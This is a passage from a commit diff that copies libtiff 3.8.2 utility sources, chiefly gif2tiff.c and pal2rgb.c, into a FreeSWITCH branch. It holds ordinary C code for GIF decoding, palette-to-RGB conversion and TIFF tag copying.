+" -R #		input data has # resolution (lines/inch) [default is 196]",
+" -X #		input data has # width			[default is 1728]",
+"",
+" -o out.tif	write output to out.tif",
+" -7		generate G3-encoded output		[default]",
+" -8		generate G4-encoded output",
+" -u		generate uncompressed output (G3 or G4)",
+" -5		generate 1D-encoded output (G3 only)",
+" -6		generate 2D-encoded output (G3 only)	[default]",
+" -p		generate not EOL-aligned output (G3 only)",
+" -a		generate EOL-aligned output (G3 only)	[default]",
+" -c		generate \"classic\" TIFF format",
+" -f		generate TIFF Class F (TIFF/F) format	[default]",
+" -m		output fill order is MSB2LSB",
+" -l		output fill order is LSB2MSB		[default]",
+" -r #		make each strip have no more than # rows",
+" -s		stretch image by duplicating scanlines",
+" -v		print information about conversion work",
+" -z		generate LZW compressed output",
+NULL
+};
+
+static void
+usage(void)
+{
+	char buf[BUFSIZ];
+	int i;
+
+	setbuf(stderr, buf);
+        fprintf(stderr, "%s\n\n", TIFFGetVersion());
+	for (i = 0; stuff[i] != NULL; i++)
+		fprintf(stderr, "%s\n", stuff[i]);
+	exit(EXIT_FAILURE);
+}
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/tools/gif2tiff.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/tools/gif2tiff.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/tools/gif2tiff.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/tools/gif2tiff.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/tools/gif2tiff.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,515 @@
+/* $Id: gif2tiff.c,v 1.8 2004/09/02 14:36:33 dron Exp $ */
+
+/*
+ * Copyright (c) 1990-1997 Sam Leffler
+ * Copyright (c) 1991-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+/*
+ *	convert a GIF file into a TIFF file.
+ *	based on Paul Haeberli's fromgif program which in turn is
+ *	based on a GIF file reader by Marcel J.E. Mol March 23 1989 
+ *
+ *	if input is 320 by 200 pixel aspect is probably 1.2
+ *	if input is 640 350 pixel aspect is probably 1.37
+ *
+ */
+#include "tif_config.h"
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <math.h>
+
+#ifdef HAVE_UNISTD_H
+# include <unistd.h>
+#endif
+
+#include "tiffio.h"
+
+#define	GIFGAMMA	(1.5)		/* smaller makes output img brighter */
+#define	IMAX		0xffff		/* max intensity value */
+#define EXTRAFUDGE	128		/* some people write BAD .gif files */
+
+#define	streq(a,b)	(strcmp(a,b) == 0)
+#define	strneq(a,b,n)	(strncmp(a,b,n) == 0)
+
+unsigned short gamtab[256];
+
+void
+makegamtab(float gam)
+{
+    int i;
+
+    for(i=0; i<256; i++) 
+	gamtab[i] = (unsigned short) (IMAX*pow(i/255.0,gam)+0.5);
+}
+
+char* stuff[] = {
+"usage: gif2tiff [options] input.gif output.tif",
+"where options are:",
+" -r #		make each strip have no more than # rows",
+"",
+" -c lzw[:opts]	compress output with Lempel-Ziv & Welch encoding",
+" -c zip[:opts]	compress output with deflate encoding",
+" -c packbits	compress output with packbits encoding",
+" -c none	use no compression algorithm on output",
+"",
+"LZW and deflate options:",
+" #		set predictor value",
+"For example, -c lzw:2 to get LZW-encoded data with horizontal differencing",
+NULL
+};
+
+static void
+usage(void)
+{
+	char buf[BUFSIZ];
+	int i;
+
+	setbuf(stderr, buf);
+        fprintf(stderr, "%s\n\n", TIFFGetVersion());
+	for (i = 0; stuff[i] != NULL; i++)
+		fprintf(stderr, "%s\n", stuff[i]);
+	exit(-1);
+}
+
+#define COLSIZE 256
+
+unsigned char *stackp;
+unsigned int prefix[4096];
+unsigned char suffix[4096];
+unsigned char stack[4096];
+int datasize,codesize,codemask;     /* Decoder working variables */
+int clear,eoi;                      /* Special code values */
+int avail, oldcode;
+
+FILE *infile;
+int global;                        /* Is there a global color map? */
+int globalbits;                     /* Number of bits of global colors */
+unsigned char globalmap[COLSIZE][3];/* RGB values for global color map */
+unsigned char *raster;              /* Decoded image data */
+unsigned long width, height;
+unsigned short red[COLSIZE];
+unsigned short green[COLSIZE];
+unsigned short blue[COLSIZE];
+char *filename, *imagename;
+
+static	uint16 compression = COMPRESSION_PACKBITS;
+static	uint16 predictor = 0;
+static	uint32 rowsperstrip = (uint32) -1;
+static	int processCompressOptions(char*);
+
+int	convert(void);
+int	checksignature(void);
+void	readscreen(void);
+int	readgifimage(char*);
+void	readextension(void);
+int	readraster(void);
+int	process(int, unsigned char**);
+void	initcolors(unsigned char [COLSIZE][3], int);
+void	rasterize(int, char*);
+
+int
+main(int argc, char* argv[])
+{
+    extern int optind;
+    extern char *optarg;
+    int c, status;
+
+    while ((c = getopt(argc, argv, "c:r:")) != -1)
+	    switch (c) {
+	    case 'c':		/* compression scheme */
+		    if (!processCompressOptions(optarg))
+			    usage();
+		    break;
+	    case 'r':		/* rows/strip */
+		    rowsperstrip = atoi(optarg);
+		    break;
+	    case '?':
+		    usage();
+		    /*NOTREACHED*/
+	    }
+    if (argc - optind != 2)
+	    usage();
+
+    makegamtab(GIFGAMMA);
+    filename = argv[optind];
+    imagename = argv[optind+1];
+    if ((infile = fopen(imagename, "rb")) != NULL) {
+	int c;
+	fclose(infile);
+	printf("overwrite %s? ", imagename); fflush(stdout);
+	c = getc(stdin);
+	if (c != 'y' && c != 'Y')
+	    return (1);
+    }
+    if ((infile = fopen(filename, "rb")) == NULL) {
+	perror(filename);
+	return (1);
+    }
+    status = convert();
+    fclose(infile);
+    return (status);
+}
+
+static int
+processCompressOptions(char* opt)
+{
+	if (streq(opt, "none"))
+		compression = COMPRESSION_NONE;
+	else if (streq(opt, "packbits"))
+		compression = COMPRESSION_PACKBITS;
+	else if (strneq(opt, "lzw", 3)) {
+		char* cp = strchr(opt, ':');
+		if (cp)
+			predictor = atoi(cp+1);
+		compression = COMPRESSION_LZW;
+	} else if (strneq(opt, "zip", 3)) {
+		char* cp = strchr(opt, ':');
+		if (cp)
+			predictor = atoi(cp+1);
+		compression = COMPRESSION_DEFLATE;
+	} else
+		return (0);
+	return (1);
+}
+
+int
+convert(void)
+{
+    int ch;
+    char* mode = "w";
+
+    if (!checksignature())
+        return (-1);
+    readscreen();
+    while ((ch = getc(infile)) != ';' && ch != EOF) {
+        switch (ch) {
+            case '\0':  break;  /* this kludge for non-standard files */
+            case ',':   if (!readgifimage(mode))
+                           return (-1);
+			mode = "a";		/* subsequent images append */
+                        break;
+            case '!':   readextension();
+                        break;
+            default:    fprintf(stderr, "illegal GIF block type\n");
+                        return (-1);
+        }
+    }
+    return (0);
+}
+
+int
+checksignature(void)
+{
+    char buf[6];
+
+    fread(buf,1,6,infile);
+    if (strncmp(buf,"GIF",3)) {
+        fprintf(stderr, "file is not a GIF file\n");
+        return 0;
+    }
+    if (strncmp(&buf[3],"87a",3)) {
+        fprintf(stderr, "unknown GIF version number\n");
+        return 0;
+    }
+    return 1;
+}
+
+/*
+ * 	readscreen - 
+ *		Get information which is global to all the images stored 
+ *	in the file
+ */
+void
+readscreen(void)
+{
+    unsigned char buf[7];
+
+    fread(buf,1,7,infile);
+    global = buf[4] & 0x80;
+    if (global) {
+        globalbits = (buf[4] & 0x07) + 1;
+        fread(globalmap,3,1<<globalbits,infile);
+    }
+}
+
+int
+readgifimage(char* mode)
+{
+    unsigned char buf[9];
+    int local, interleaved;
+    unsigned char localmap[256][3];
+    int localbits;
+    int status;
+
+    if (fread(buf, 1, 9, infile) == 0) {
+        perror(filename);
+	return (0);
+    }
+    width = buf[4] + (buf[5] << 8);
+    height = buf[6] + (buf[7] << 8);
+    local = buf[8] & 0x80;
+    interleaved = buf[8] & 0x40;
+
+    if (local == 0 && global == 0) {
+        fprintf(stderr, "no colormap present for image\n");
+        return (0);
+    }
+    if ((raster = (unsigned char*) _TIFFmalloc(width*height+EXTRAFUDGE)) == NULL) {
+        fprintf(stderr, "not enough memory for image\n");
+        return (0);
+    }
+    if (local) {
+        localbits = (buf[8] & 0x7) + 1;
+
+        fprintf(stderr, "   local colors: %d\n", 1<<localbits);
+
+        fread(localmap, 3, 1<<localbits, infile);
+        initcolors(localmap, 1<<localbits);
+    } else if (global) {
+        initcolors(globalmap, 1<<globalbits);
+    }
+    if ((status = readraster()))
+	rasterize(interleaved, mode);
+    _TIFFfree(raster);
+    return status;
+}
+
+/*
+ * 	readextension -
+ *		Read a GIF extension block (and do nothing with it).
+ *
+ */
+void
+readextension(void)
+{
+    int count;
+    char buf[255];
+
+    (void) getc(infile);
+    while ((count = getc(infile)))
+        fread(buf, 1, count, infile);
+}
+
+/*
+ * 	readraster -
+ *		Decode a raster image
+ *
+ */
+int
+readraster(void)
+{
+    unsigned char *fill = raster;
+    unsigned char buf[255];
+    register int bits=0;
+    register unsigned long datum=0;
+    register unsigned char *ch;
+    register int count, code;
+    int status = 1;
+
+    datasize = getc(infile);
+    clear = 1 << datasize;
+    eoi = clear + 1;
+    avail = clear + 2;
+    oldcode = -1;
+    codesize = datasize + 1;
+    codemask = (1 << codesize) - 1;
+    for (code = 0; code < clear; code++) {
+	prefix[code] = 0;
+	suffix[code] = code;
+    }
+    stackp = stack;
+    for (count = getc(infile); count > 0; count = getc(infile)) {
+	fread(buf,1,count,infile);
+	for (ch=buf; count-- > 0; ch++) {
+	    datum += (unsigned long) *ch << bits;
+	    bits += 8;
+	    while (bits >= codesize) {
+		code = datum & codemask;
+		datum >>= codesize;
+		bits -= codesize;
+		if (code == eoi) {               /* This kludge put in */
+		    goto exitloop;               /* because some GIF files*/
+		}                                /* aren't standard */
+		if (!process(code, &fill)) {
+		    status = 0;
+		    goto exitloop;
+		}
+	    }
+	}
+	if (fill >= raster + width*height) {
+	    fprintf(stderr, "raster full before eoi code\n");
+	    break;
+	}
+    }
+exitloop:
+    if (fill != raster + width*height)  {
+	fprintf(stderr, "warning: wrong rastersize: %ld bytes\n",
+						      (long) (fill-raster));
+	fprintf(stderr, "         instead of %ld bytes\n",
+						      (long) width*height);
+    }
+    return status;
+}
+
+/*
+ * 	process - 
+ *		Process a compression code.  "clear" resets the code table.  
+ *	Otherwise make a new code table entry, and output the bytes 
+ *	associated with the code.
+ */
+int
+process(register int code, unsigned char** fill)
+{
+    int incode;
+    static unsigned char firstchar;
+
+    if (code == clear) {
+	codesize = datasize + 1;
+	codemask = (1 << codesize) - 1;
+	avail = clear + 2;
+	oldcode = -1;
+	return 1;
+    }
+
+    if (oldcode == -1) {
+	*(*fill)++ = suffix[code];
+	firstchar = oldcode = code;
+	return 1;
+    }
+    if (code > avail) {
+	fprintf(stderr, "code %d too large for %d\n", code, avail);
+	return 0; 
+    }
+
+    incode = code;
+    if (code == avail) {      /* the first code is always < avail */
+	*stackp++ = firstchar;
+	code = oldcode;
+    }
+    while (code > clear) {
+	*stackp++ = suffix[code];
+	code = prefix[code];
+    }
+
+    *stackp++ = firstchar = suffix[code];
+    prefix[avail] = oldcode;
+    suffix[avail] = firstchar;
+    avail++;
+
+    if (((avail & codemask) == 0) && (avail < 4096)) {
+	codesize++;
+	codemask += avail;
+    }
+    oldcode = incode;
+    do {
+	*(*fill)++ = *--stackp;
+    } while (stackp > stack);
+    return 1;
+}
+
+/*
+ * 	initcolors -
+ *		Convert a color map (local or global) to arrays with R, G and B
+ * 	values. 
+ *
+ */
+void
+initcolors(unsigned char colormap[COLSIZE][3], int ncolors)
+{
+    register int i;
+
+    for (i = 0; i < ncolors; i++) {
+        red[i]   = gamtab[colormap[i][0]];
+        green[i] = gamtab[colormap[i][1]];
+        blue[i]  = gamtab[colormap[i][2]];
+    }
+}
+
+void
+rasterize(int interleaved, char* mode)
+{
+    register unsigned long row;
+    unsigned char *newras;
+    unsigned char *ras;
+    TIFF *tif;
+    tstrip_t strip;
+    tsize_t stripsize;
+
+    if ((newras = (unsigned char*) _TIFFmalloc(width*height+EXTRAFUDGE)) == NULL) {
+        fprintf(stderr, "not enough memory for image\n");
+        return;
+    }
+#define DRAWSEGMENT(offset, step) {			\
+        for (row = offset; row < height; row += step) {	\
+            _TIFFmemcpy(newras + row*width, ras, width);\
+            ras += width;                            	\
+        }						\
+    }
+    ras = raster;
+    if (interleaved) {
+        DRAWSEGMENT(0, 8);
+        DRAWSEGMENT(4, 8);
+        DRAWSEGMENT(2, 4);
+        DRAWSEGMENT(1, 2);
+    } else 
+        DRAWSEGMENT(0, 1);
+#undef DRAWSEGMENT
+
+    tif = TIFFOpen(imagename, mode);
+    if (!tif) {
+	TIFFError(imagename,"Can not open output image");
+	exit(-1);
+    }
+    TIFFSetField(tif, TIFFTAG_IMAGEWIDTH, (uint32) width);
+    TIFFSetField(tif, TIFFTAG_IMAGELENGTH, (uint32) height);
+    TIFFSetField(tif, TIFFTAG_PHOTOMETRIC, PHOTOMETRIC_PALETTE);
+    TIFFSetField(tif, TIFFTAG_PLANARCONFIG, PLANARCONFIG_CONTIG);
+    TIFFSetField(tif, TIFFTAG_SAMPLESPERPIXEL, 1);
+    TIFFSetField(tif, TIFFTAG_BITSPERSAMPLE, 8);
+    TIFFSetField(tif, TIFFTAG_ROWSPERSTRIP, 
+	rowsperstrip = TIFFDefaultStripSize(tif, rowsperstrip));
+    TIFFSetField(tif, TIFFTAG_COMPRESSION, compression);
+    switch (compression) {
+    case COMPRESSION_LZW:
+    case COMPRESSION_DEFLATE:
+	    if (predictor != 0)
+		    TIFFSetField(tif, TIFFTAG_PREDICTOR, predictor);
+	    break;
+    }
+    TIFFSetField(tif, TIFFTAG_COLORMAP, red, green, blue);
+    TIFFSetField(tif, TIFFTAG_ORIENTATION, ORIENTATION_TOPLEFT);
+    strip = 0;
+    stripsize = TIFFStripSize(tif);
+    for (row=0; row<height; row += rowsperstrip) {
+	if (TIFFWriteEncodedStrip(tif, strip, newras+row*width, stripsize) < 0)
+	    break;
+	strip++;
+    }
+    TIFFClose(tif);
+
+    _TIFFfree(newras);
+}
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/tools/pal2rgb.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/tools/pal2rgb.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/tools/pal2rgb.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/tools/pal2rgb.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/tools/pal2rgb.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,424 @@
+/* $Id: pal2rgb.c,v 1.10 2006/01/11 17:03:43 fwarmerdam Exp $ */
+
+/*
+ * Copyright (c) 1988-1997 Sam Leffler
+ * Copyright (c) 1991-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+#include "tif_config.h"
+
+#include <stdio.h>
+#include <string.h>
+#include <stdlib.h>
+#include <ctype.h>
+
+#ifdef HAVE_UNISTD_H
+# include <unistd.h>
+#endif
+
+#include "tiffio.h"
+
+#define	streq(a,b)	(strcmp(a,b) == 0)
+#define	strneq(a,b,n)	(strncmp(a,b,n) == 0)
+
+static	void usage(void);
+static	void cpTags(TIFF* in, TIFF* out);
+
+static int
+checkcmap(int n, uint16* r, uint16* g, uint16* b)
+{
+	while (n-- > 0)
+	    if (*r++ >= 256 || *g++ >= 256 || *b++ >= 256)
+		return (16);
+	fprintf(stderr, "Warning, assuming 8-bit colormap.\n");
+	return (8);
+}
+
+#define	CopyField(tag, v) \
+    if (TIFFGetField(in, tag, &v)) TIFFSetField(out, tag, v)
+#define	CopyField3(tag, v1, v2, v3) \
+    if (TIFFGetField(in, tag, &v1, &v2, &v3)) TIFFSetField(out, tag, v1, v2, v3)
+
+static	uint16 compression = (uint16) -1;
+static	uint16 predictor = 0;
+static	int quality = 75;	/* JPEG quality */
+static	int jpegcolormode = JPEGCOLORMODE_RGB;
+static	int processCompressOptions(char*);
+
+int
+main(int argc, char* argv[])
+{
+	uint16 bitspersample, shortv;
+	uint32 imagewidth, imagelength;
+	uint16 config = PLANARCONFIG_CONTIG;
+	uint32 rowsperstrip = (uint32) -1;
+	uint16 photometric = PHOTOMETRIC_RGB;
+	uint16 *rmap, *gmap, *bmap;
+	uint32 row;
+	int cmap = -1;
+	TIFF *in, *out;
+	int c;
+	extern int optind;
+	extern char* optarg;
+
+	while ((c = getopt(argc, argv, "C:c:p:r:")) != -1)
+		switch (c) {
+		case 'C':		/* force colormap interpretation */
+			cmap = atoi(optarg);
+			break;
+		case 'c':		/* compression scheme */
+			if (!processCompressOptions(optarg))
+				usage();
+			break;
+		case 'p':		/* planar configuration */
+			if (streq(optarg, "separate"))
+				config = PLANARCONFIG_SEPARATE;
+			else if (streq(optarg, "contig"))
+				config = PLANARCONFIG_CONTIG;
+			else
+				usage();
+			break;
+		case 'r':		/* rows/strip */
+			rowsperstrip = atoi(optarg);
+			break;
+		case '?':
+			usage();
+			/*NOTREACHED*/
+		}
+	if (argc - optind != 2)
+		usage();
+	in = TIFFOpen(argv[optind], "r");
+	if (in == NULL)
+		return (-1);
+	if (!TIFFGetField(in, TIFFTAG_PHOTOMETRIC, &shortv) ||
+	    shortv != PHOTOMETRIC_PALETTE) {
+		fprintf(stderr, "%s: Expecting a palette image.\n",
+		    argv[optind]);
+		return (-1);
+	}
+	if (!TIFFGetField(in, TIFFTAG_COLORMAP, &rmap, &gmap, &bmap)) {
+		fprintf(stderr,
+		    "%s: No colormap (not a valid palette image).\n",
+		    argv[optind]);
+		return (-1);
+	}
+	bitspersample = 0;
+	TIFFGetField(in, TIFFTAG_BITSPERSAMPLE, &bitspersample);
+	if (bitspersample != 8) {
+		fprintf(stderr, "%s: Sorry, can only handle 8-bit images.\n",
+		    argv[optind]);
+		return (-1);
+	}
+	out = TIFFOpen(argv[optind+1], "w");
+	if (out == NULL)
+		return (-2);
+	cpTags(in, out);
+	TIFFGetField(in, TIFFTAG_IMAGEWIDTH, &imagewidth);
+	TIFFGetField(in, TIFFTAG_IMAGELENGTH, &imagelength);
+	if (compression != (uint16)-1)
+		TIFFSetField(out, TIFFTAG_COMPRESSION, compression);
+	else
+		TIFFGetField(in, TIFFTAG_COMPRESSION, &compression);
+	switch (compression) {
+	case COMPRESSION_JPEG:
+		if (jpegcolormode == JPEGCOLORMODE_RGB)
+			photometric = PHOTOMETRIC_YCBCR;
+		else
+			photometric = PHOTOMETRIC_RGB;
+		TIFFSetField(out, TIFFTAG_JPEGQUALITY, quality);
+		TIFFSetField(out, TIFFTAG_JPEGCOLORMODE, jpegcolormode);
+		break;
+	case COMPRESSION_LZW:
+	case COMPRESSION_DEFLATE:
+		if (predictor != 0)
+			TIFFSetField(out, TIFFTAG_PREDICTOR, predictor);
+		break;
+	}
+	TIFFSetField(out, TIFFTAG_PHOTOMETRIC, photometric);
+	TIFFSetField(out, TIFFTAG_SAMPLESPERPIXEL, 3);
+	TIFFSetField(out, TIFFTAG_PLANARCONFIG, config);
+	TIFFSetField(out, TIFFTAG_ROWSPERSTRIP,
+	    rowsperstrip = TIFFDefaultStripSize(out, rowsperstrip));
+	(void) TIFFGetField(in, TIFFTAG_PLANARCONFIG, &shortv);
+	if (cmap == -1)
+		cmap = checkcmap(1<<bitspersample, rmap, gmap, bmap);
+	if (cmap == 16) {
+		/*
+		 * Convert 16-bit colormap to 8-bit.
+		 */
+		int i;
+
+		for (i = (1<<bitspersample)-1; i >= 0; i--) {
+#define	CVT(x)		(((x) * 255) / ((1L<<16)-1))
+			rmap[i] = CVT(rmap[i]);
+			gmap[i] = CVT(gmap[i]);
+			bmap[i] = CVT(bmap[i]);
+		}
+	}
+	{ unsigned char *ibuf, *obuf;
+	  register unsigned char* pp;
+	  register uint32 x;
+	  ibuf = (unsigned char*)_TIFFmalloc(TIFFScanlineSize(in));
+	  obuf = (unsigned char*)_TIFFmalloc(TIFFScanlineSize(out));
+	  switch (config) {
+	  case PLANARCONFIG_CONTIG:
+		for (row = 0; row < imagelength; row++) {
+			if (!TIFFReadScanline(in, ibuf, row, 0))
+				goto done;
+			pp = obuf;
+			for (x = 0; x < imagewidth; x++) {
+				*pp++ = (unsigned char) rmap[ibuf[x]];
+				*pp++ = (unsigned char) gmap[ibuf[x]];
+				*pp++ = (unsigned char) bmap[ibuf[x]];
+			}
+			if (!TIFFWriteScanline(out, obuf, row, 0))
+				goto done;
+		}
+		break;
+	  case PLANARCONFIG_SEPARATE:
+		for (row = 0; row < imagelength; row++) {
+			if (!TIFFReadScanline(in, ibuf, row, 0))
+				goto done;
+			for (pp = obuf, x = 0; x < imagewidth; x++)
+				*pp++ = (unsigned char) rmap[ibuf[x]];
+			if (!TIFFWriteScanline(out, obuf, row, 0))
+				goto done;
+			for (pp = obuf, x = 0; x < imagewidth; x++)
+				*pp++ = (unsigned char) gmap[ibuf[x]];
+			if (!TIFFWriteScanline(out, obuf, row, 0))
+				goto done;
+			for (pp = obuf, x = 0; x < imagewidth; x++)
+				*pp++ = (unsigned char) bmap[ibuf[x]];
+			if (!TIFFWriteScanline(out, obuf, row, 0))
+				goto done;
+		}
+		break;
+	  }
+	  _TIFFfree(ibuf);
+	  _TIFFfree(obuf);
+	}
+done:
+	(void) TIFFClose(in);
+	(void) TIFFClose(out);
+	return (0);
+}
+
+static int
+processCompressOptions(char* opt)
+{
+	if (streq(opt, "none"))
+		compression = COMPRESSION_NONE;
+	else if (streq(opt, "packbits"))
+		compression = COMPRESSION_PACKBITS;
+	else if (strneq(opt, "jpeg", 4)) {
+		char* cp = strchr(opt, ':');
+
+                compression = COMPRESSION_JPEG;
+                while( cp )
+                {
+                    if (isdigit((int)cp[1]))
+			quality = atoi(cp+1);
+                    else if (cp[1] == 'r' )
+			jpegcolormode = JPEGCOLORMODE_RAW;
+                    else
+                        usage();
+
+                    cp = strchr(cp+1,':');
+                }
+	} else if (strneq(opt, "lzw", 3)) {
+		char* cp = strchr(opt, ':');
+		if (cp)
+			predictor = atoi(cp+1);
+		compression = COMPRESSION_LZW;
+	} else if (strneq(opt, "zip", 3)) {
+		char* cp = strchr(opt, ':');
+		if (cp)
+			predictor = atoi(cp+1);
+		compression = COMPRESSION_DEFLATE;
+	} else
+		return (0);
+	return (1);
+}
+
+#define	CopyField(tag, v) \
+    if (TIFFGetField(in, tag, &v)) TIFFSetField(out, tag, v)
+#define	CopyField2(tag, v1, v2) \
+    if (TIFFGetField(in, tag, &v1, &v2)) TIFFSetField(out, tag, v1, v2)
+#define	CopyField3(tag, v1, v2, v3) \
+    if (TIFFGetField(in, tag, &v1, &v2, &v3)) TIFFSetField(out, tag, v1, v2, v3)
+#define	CopyField4(tag, v1, v2, v3, v4) \
+    if (TIFFGetField(in, tag, &v1, &v2, &v3, &v4)) TIFFSetField(out, tag, v1, v2, v3, v4)
+
+static void
+cpTag(TIFF* in, TIFF* out, uint16 tag, uint16 count, TIFFDataType type)
+{
+	switch (type) {
+	case TIFF_SHORT:
+		if (count == 1) {
+			uint16 shortv;
+			CopyField(tag, shortv);
+		} else if (count == 2) {
+			uint16 shortv1, shortv2;
+			CopyField2(tag, shortv1, shortv2);
+		} else if (count == 4) {
+			uint16 *tr, *tg, *tb, *ta;
+			CopyField4(tag, tr, tg, tb, ta);
+		} else if (count == (uint16) -1) {
+			uint16 shortv1;
+			uint16* shortav;
+			CopyField2(tag, shortv1, shortav);
+		}
+		break;
+	case TIFF_LONG:
+		{ uint32 longv;
+		  CopyField(tag, longv);
+		}
+		break;
+	case TIFF_RATIONAL:
+		if (count == 1) {
+			float floatv;
+			CopyField(tag, floatv);
+		} else if (count == (uint16) -1) {
+			float* floatav;
+			CopyField(tag, floatav);
+		}
+		break;
+	case TIFF_ASCII:
+		{ char* stringv;
+		  CopyField(tag, stringv);
+		}
+		break;
+	case TIFF_DOUBLE:
+		if (count == 1) {
+			double doublev;
+			CopyField(tag, doublev);
+		} else if (count == (uint16) -1) {
+			double* doubleav;
+			CopyField(tag, doubleav);
+		}
+		break;
+          default:
+                TIFFError(TIFFFileName(in),
+                          "Data type %d is not supported, tag %d skipped.",
+                          tag, type);
+	}
+}
+
+#undef CopyField4
+#undef CopyField3
+#undef CopyField2
+#undef CopyField
+
+static struct cpTag {
+    uint16	tag;
+    uint16	count;
+    TIFFDataType type;
+} tags[] = {
+    { TIFFTAG_IMAGEWIDTH,		1, TIFF_LONG },
+    { TIFFTAG_IMAGELENGTH,		1, TIFF_LONG },
+    { TIFFTAG_BITSPERSAMPLE,		1, TIFF_SHORT },
+    { TIFFTAG_COMPRESSION,		1, TIFF_SHORT },
+    { TIFFTAG_FILLORDER,		1, TIFF_SHORT },
+    { TIFFTAG_ROWSPERSTRIP,		1, TIFF_LONG },
+    { TIFFTAG_GROUP3OPTIONS,		1, TIFF_LONG },
+    { TIFFTAG_SUBFILETYPE,		1, TIFF_LONG },
+    { TIFFTAG_THRESHHOLDING,		1, TIFF_SHORT },
+    { TIFFTAG_DOCUMENTNAME,		1, TIFF_ASCII },
+    { TIFFTAG_IMAGEDESCRIPTION,		1, TIFF_ASCII },
+    { TIFFTAG_MAKE,			1, TIFF_ASCII },
+    { TIFFTAG_MODEL,			1, TIFF_ASCII },
+    { TIFFTAG_ORIENTATION,		1, TIFF_SHORT },
+    { TIFFTAG_MINSAMPLEVALUE,		1, TIFF_SHORT },
+    { TIFFTAG_MAXSAMPLEVALUE,		1, TIFF_SHORT },
+    { TIFFTAG_XRESOLUTION,		1, TIFF_RATIONAL },
+    { TIFFTAG_YRESOLUTION,		1, TIFF_RATIONAL },
+    { TIFFTAG_PAGENAME,			1, TIFF_ASCII },
+    { TIFFTAG_XPOSITION,		1, TIFF_RATIONAL },
+    { TIFFTAG_YPOSITION,		1, TIFF_RATIONAL },
+    { TIFFTAG_GROUP4OPTIONS,		1, TIFF_LONG },
+    { TIFFTAG_RESOLUTIONUNIT,		1, TIFF_SHORT },
+    { TIFFTAG_PAGENUMBER,		2, TIFF_SHORT },
+    { TIFFTAG_SOFTWARE,			1, TIFF_ASCII },
+    { TIFFTAG_DATETIME,			1, TIFF_ASCII },
+    { TIFFTAG_ARTIST,			1, TIFF_ASCII },
+    { TIFFTAG_HOSTCOMPUTER,		1, TIFF_ASCII },
+    { TIFFTAG_WHITEPOINT,		1, TIFF_RATIONAL },
+    { TIFFTAG_PRIMARYCHROMATICITIES,	(uint16) -1,TIFF_RATIONAL },
+    { TIFFTAG_HALFTONEHINTS,		2, TIFF_SHORT },
+    { TIFFTAG_BADFAXLINES,		1, TIFF_LONG },
+    { TIFFTAG_CLEANFAXDATA,		1, TIFF_SHORT },
+    { TIFFTAG_CONSECUTIVEBADFAXLINES,	1, TIFF_LONG },
+    { TIFFTAG_INKSET,			1, TIFF_SHORT },
+    { TIFFTAG_INKNAMES,			1, TIFF_ASCII },
+    { TIFFTAG_DOTRANGE,			2, TIFF_SHORT },
+    { TIFFTAG_TARGETPRINTER,		1, TIFF_ASCII },
+    { TIFFTAG_SAMPLEFORMAT,		1, TIFF_SHORT },
+    { TIFFTAG_YCBCRCOEFFICIENTS,	(uint16) -1,TIFF_RATIONAL },
+    { TIFFTAG_YCBCRSUBSAMPLING,		2, TIFF_SHORT },
+    { TIFFTAG_YCBCRPOSITIONING,		1, TIFF_SHORT },
